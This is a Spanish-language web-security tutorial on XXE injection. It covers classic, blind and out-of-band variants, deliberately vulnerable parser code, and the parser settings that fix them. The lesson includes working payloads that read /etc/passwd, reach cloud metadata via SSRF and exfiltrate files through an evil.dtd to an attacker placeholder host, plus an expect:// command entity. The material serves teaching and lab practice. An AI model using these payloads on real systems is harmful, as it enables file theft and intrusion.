Aprende › Vulnerabilidades web

XXE y ataques XML: OOB exfiltration, SSRF vía DTD y blind XXE

· 11 min de lectura

Aprende qué es una inyección XXE, cómo un parser XML resuelve entidades externas para leer archivos y hacer SSRF, cómo funciona la exfiltración OOB con DTD externo y blind XXE, y cómo se corrige desactivando entidades externas.

XML sigue siendo uno de los formatos más usados en la infraestructura web. Servicios SOAP, procesadores de documentos Office (DOCX, XLSX), feeds RSS, respuestas de APIs legacy, configuraciones de servidores y hasta imágenes SVG son XML por dentro. Y el estándar XML incluye una funcionalidad que parecía buena idea en los noventa: las entidades externas, referencias que le dicen al parser «ve a buscar este contenido a otro sitio y pégalo aquí».

Cuando una aplicación recibe XML del usuario y lo parsea sin desactivar esa funcionalidad, el atacante puede definir entidades que leen archivos del servidor, hacen peticiones HTTP a la red interna o, en ciertos casos, ejecutan código. Eso es un XXE (XML External Entity injection): una vulnerabilidad tan conocida que en 2017 tuvo su propia categoría en el OWASP Top 10 (A4).

Es la decimotercera lección de la Tanda 9. Verás la mecánica de las entidades externas, los tipos de XXE (clásico, ciego y OOB), cómo se explotan paso a paso y cómo se corrigen desactivando una sola opción del parser.

Practica estas técnicas solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Explotar un XXE en un servidor ajeno sin permiso es un delito.

Qué es una inyección XXE#

En XML, una entidad es un atajo que se define una vez y se usa en el documento con &nombre;. Las entidades pueden ser internas (el valor está en el propio documento) o externas (el valor viene de una URL o de un archivo). Se declaran en un DTD (Document Type Definition) al principio del documento:

Cómo funciona un XXE: el parser XML resuelve entidades externas que apuntan a archivos o URLs
Cómo funciona un XXE: el parser XML resuelve entidades externas que apuntan a archivos o URLs
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY nombre "valor interno">
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

Cuando el parser procesa este documento, sustituye &xxe; por el contenido del archivo /etc/passwd. Si la aplicación devuelve el XML procesado en la respuesta, el atacante ve el contenido del archivo. La clave es que el DTD lo envía el cliente, y el parser lo acepta por defecto en la mayoría de los lenguajes.

Además de file://, la palabra clave SYSTEM acepta http:// y https://, lo que convierte el XXE en un SSRF: el parser hace una petición HTTP al destino que el atacante indique.

Por qué ocurre: la causa raíz#

Cualquier código que parsea XML con la configuración por defecto suele ser vulnerable. En PHP:

$xml = file_get_contents("php://input");
$doc = new DOMDocument();
$doc->loadXML($xml);  // Entidades externas activas por defecto en versiones antiguas
echo $doc->textContent;

En Java, el patrón más peligroso usa DocumentBuilderFactory sin configurar:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Sin desactivar entidades externas
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xmlInput)));

En Python con lxml, el parser por defecto también resuelve entidades:

from lxml import etree

tree = etree.fromstring(xml_input)  # Vulnerable si resolve_entities=True

La causa raíz es siempre la misma: el parser XML acepta DTDs del cliente y resuelve entidades externas por defecto. La solución es desactivar esa funcionalidad, que casi ninguna aplicación necesita.

Tipos de XXE#

TipoQué ocurreCómo se confirma
XXE clásicoEl contenido del archivo aparece en la respuestaLeyendo la respuesta directamente
XXE ciega (blind)La aplicación procesa el XML pero no devuelve el contenidoCon una petición saliente a un servidor que controlas
XXE OOB (out-of-band)Se usa un DTD externo con entidades parámetro para exfiltrar datosRecibiendo los datos en tu servidor a través de una petición HTTP
XXE por errorEl contenido del archivo aparece en un mensaje de errorProvocando un error que incluya el valor de la entidad
XXE a SSRFLa entidad apunta a un servicio HTTP internoConfirmando acceso a servicios internos o metadatos cloud

XXE clásico#

Es el caso más directo: la aplicación devuelve el XML procesado en la respuesta, y el contenido del archivo o la URL aparece visible:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<user><name>&xxe;</name></user>

Si la respuesta muestra el hostname del servidor en el campo name, el XXE funciona.

XXE a SSRF#

Cambiando file:// por http://, el parser hace una petición HTTP:

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

Esto convierte un XXE en un SSRF completo, con la diferencia de que la petición la hace el parser XML en vez de una función de la aplicación.

Dónde aparece#

  • APIs que aceptan XML: endpoints REST que soportan Content-Type: application/xml además de JSON.
  • Servicios SOAP: todo SOAP es XML, y muchos servicios legacy no desactivan entidades externas.
  • Subida de archivos: formatos SVG, DOCX, XLSX, PPTX y ODT son XML empaquetado en ZIP. Si el servidor descomprime y parsea el XML interno, un archivo Office malicioso puede contener un XXE.
  • Feeds RSS y Atom: agregadores que parsean feeds de fuentes externas.
  • SAML: el flujo de autenticación SAML usa XML firmado. Un parser vulnerable en el IdP o en el SP puede ser explotado.
  • Generadores de PDF: si aceptan HTML o SVG, pueden parsear XML con entidades.
  • Configuraciones XML: archivos de configuración que la aplicación importa desde el usuario.

Cómo se detecta#

Pruebas manuales#

  1. Identifica un endpoint que acepta XML. Si solo ves JSON, prueba cambiando Content-Type: application/json a Content-Type: application/xml y enviando XML equivalente.
  2. Envía un XML con una entidad interna para confirmar que el parser la resuelve.
  3. Envía un XML con una entidad externa que apunte a una URL que controlas (tu servidor del laboratorio).
  4. Si la petición llega, el parser resuelve entidades externas.
  5. Prueba con file:///etc/hostname para leer un archivo conocido.
PruebaPayloadQué indica
Entidad interna&lt;!ENTITY test "hola"&gt; y &amp;test;El parser procesa DTDs
Entidad externa HTTP&lt;!ENTITY xxe SYSTEM "http://IP_ATACANTE:8000/xxe"&gt;El parser resuelve entidades externas
Lectura de archivo&lt;!ENTITY xxe SYSTEM "file:///etc/hostname"&gt;XXE clásico confirmado
SSRF interno&lt;!ENTITY xxe SYSTEM "http://127.0.0.1:8080/"&gt;XXE a SSRF

Herramientas#

  • Burp Suite Repeater: para iterar payloads XML rápidamente.
  • Burp Collaborator / Interactsh: para confirmar XXE ciega con peticiones salientes.
  • XXEinjector: herramienta de línea de comandos que automatiza la explotación de XXE, incluyendo OOB.
  • Revisión de código: busca llamadas a parsers XML (DOMDocument, DocumentBuilderFactory, etree.fromstring, SAXParser) sin la configuración de seguridad.

Explotación paso a paso en un laboratorio#

Escenario típico similar a los laboratorios THE READER y JANUS.

Paso 1: identificar el endpoint XML#

La aplicación tiene una API que acepta XML para procesar datos del usuario:

POST /api/import HTTP/1.1
Host: IP_DEL_LAB
Content-Type: application/xml

<?xml version="1.0"?>
<user><name>test</name><email>[email protected]</email></user>

La respuesta confirma que parsea el XML: {"mensaje": "Usuario test importado"}.

Paso 2: probar entidad interna#

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY test "entidad-funciona">
]>
<user><name>&test;</name><email>[email protected]</email></user>

Si la respuesta dice Usuario entidad-funciona importado, el parser procesa el DTD.

Paso 3: lectura de archivos#

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><name>&xxe;</name><email>[email protected]</email></user>

Si el contenido de /etc/passwd aparece en la respuesta, el XXE clásico está confirmado.

Paso 4: SSRF vía XXE#

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">
]>
<user><name>&xxe;</name><email>[email protected]</email></user>

Si la respuesta muestra contenido de un servicio interno, el XXE funciona como SSRF.

XXE ciega con exfiltración OOB#

Cuando la aplicación no devuelve el contenido de la entidad en la respuesta, necesitas una técnica fuera de banda (OOB). El proceso usa entidades parámetro (se declaran con % y se usan dentro del DTD):

Paso 1: preparar el DTD malicioso en tu servidor#

Crea un archivo evil.dtd en tu máquina de ataque:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://IP_ATACANTE:8000/?data=%file;'>">
%eval;
%exfil;

Paso 2: levantar un servidor HTTP#

python3 -m http.server 8000

Paso 3: enviar el XML con referencia al DTD externo#

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://IP_ATACANTE:8000/evil.dtd">
  %xxe;
]>
<user><name>test</name></user>

El parser descarga evil.dtd, resuelve las entidades parámetro, lee /etc/hostname y envía su contenido como parámetro en una petición HTTP a tu servidor. En tu terminal verás:

GET /?data=web-server-01 HTTP/1.1

El contenido del archivo aparece en la URL de la petición, aunque la aplicación no lo muestre en su respuesta.

Qué puede lograr un atacante#

ImpactoEjemplo
Lectura de archivos del servidor/etc/passwd, /etc/shadow, archivos de configuración con credenciales
SSRF a la red internaAcceder a servicios internos, metadatos cloud, paneles de administración
Denegación de servicioBillion laughs attack: entidades que se expanden exponencialmente
Ejecución de código (raro)En PHP con expect:// habilitado o en parsers con funcionalidades extendidas
Escaneo de puertos internosComparar errores y tiempos entre puertos abiertos y cerrados
Exfiltración de código fuenteLeer archivos PHP, Python o Java del servidor para encontrar más vulnerabilidades

Cómo se corrige#

Las cuatro capas de defensa contra XXE: desactivar DTDs, desactivar entidades externas, migrar a JSON y bloquear patrones en el WAF
Las cuatro capas de defensa contra XXE: desactivar DTDs, desactivar entidades externas, migrar a JSON y bloquear patrones en el WAF

La defensa más efectiva es desactivar las entidades externas y los DTDs en el parser. Es un cambio de configuración, no de código.

PHP#

// PHP 8.0+: entidades externas desactivadas por defecto en libxml >= 2.9.0
// Para versiones anteriores:
libxml_disable_entity_loader(true);

$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
// Mejor aún: no usar LIBXML_NOENT ni LIBXML_DTDLOAD
$doc->loadXML($xml);

Java#

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

Python#

from lxml import etree

parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.fromstring(xml_input, parser=parser)

# Con defusedxml (recomendado):
import defusedxml.ElementTree as ET
tree = ET.fromstring(xml_input)  # Seguro por defecto

Migrar a JSON#

Si la API no necesita XML, acepta solo JSON. Sin parser XML, no hay XXE. Si debes aceptar ambos, valida el Content-Type y usa un parser seguro para cada formato.

Errores comunes al defenderse#

  • Pensar que la versión del lenguaje ya está protegida. PHP con libxml >= 2.9.0 desactiva la carga de entidades externas por defecto, pero LIBXML_NOENT la reactiva, y muchos tutoriales lo incluyen.
  • Proteger el parser principal pero no los secundarios. Si la aplicación parsea SVG con un parser distinto al de la API, cada parser necesita su propia configuración.
  • Filtrar con regex en vez de configurar el parser. Un filtro que busca DOCTYPE o ENTITY se puede saltar con codificación UTF-7, UTF-16 o con saltos de línea.
  • Olvidar que DOCX y XLSX son XML. Si la aplicación importa archivos Office, debe desactivar entidades externas en el parser que procesa el XML interno del ZIP.
  • No probar después de actualizar librerías. Una actualización puede cambiar los valores por defecto del parser y reactivar funcionalidades que estaban desactivadas.

Preguntas frecuentes#

¿El XXE sigue siendo relevante con APIs JSON modernas?#

Sí. Muchos frameworks aceptan XML aunque la documentación de la API solo mencione JSON. Basta con cambiar el Content-Type a application/xml y enviar XML. Además, cualquier funcionalidad que procese archivos Office, SVG, RSS o SAML usa XML.

¿Qué es el billion laughs attack?#

Es un ataque de denegación de servicio que define entidades que se referencian entre sí de forma exponencial. Cada nivel multiplica el tamaño por un factor, y el parser intenta expandirlas todas en memoria, consumiendo gigabytes de RAM:

<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

¿Se puede ejecutar código con un XXE?#

En la mayoría de los casos no, pero en PHP, si el wrapper expect:// está habilitado (extensión php_expect), se puede ejecutar un comando con <!ENTITY xxe SYSTEM "expect://id">. Es raro en producción, pero posible.

¿Cómo sé si el parser resuelve entidades externas?#

La prueba más fiable es definir una entidad que apunte a una URL que controlas (tu servidor del laboratorio) y ver si llega la petición. Si llega, el parser resuelve entidades externas.

¿Un WAF protege contra XXE?#

Un WAF puede bloquear payloads conocidos, pero no es una solución completa. Los payloads XXE se pueden codificar, ofuscar o enviar dentro de archivos (SVG, DOCX) que el WAF no inspecciona. La defensa real es configurar el parser.

Resumen#

  • Un XXE (XML External Entity injection) ocurre cuando el parser XML resuelve entidades externas definidas en un DTD que envía el cliente.
  • Permite leer archivos del servidor (file://), hacer SSRF (http://) y, con la técnica OOB, exfiltrar datos aunque la aplicación no los muestre en la respuesta.
  • Formatos como SVG, DOCX, XLSX, RSS, SOAP y SAML son XML y pueden contener payloads XXE.
  • Se corrige desactivando entidades externas y DTDs en el parser (una línea de configuración) o migrando a JSON.
  • La librería defusedxml en Python y las features de DocumentBuilderFactory en Java son las defensas estándar.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría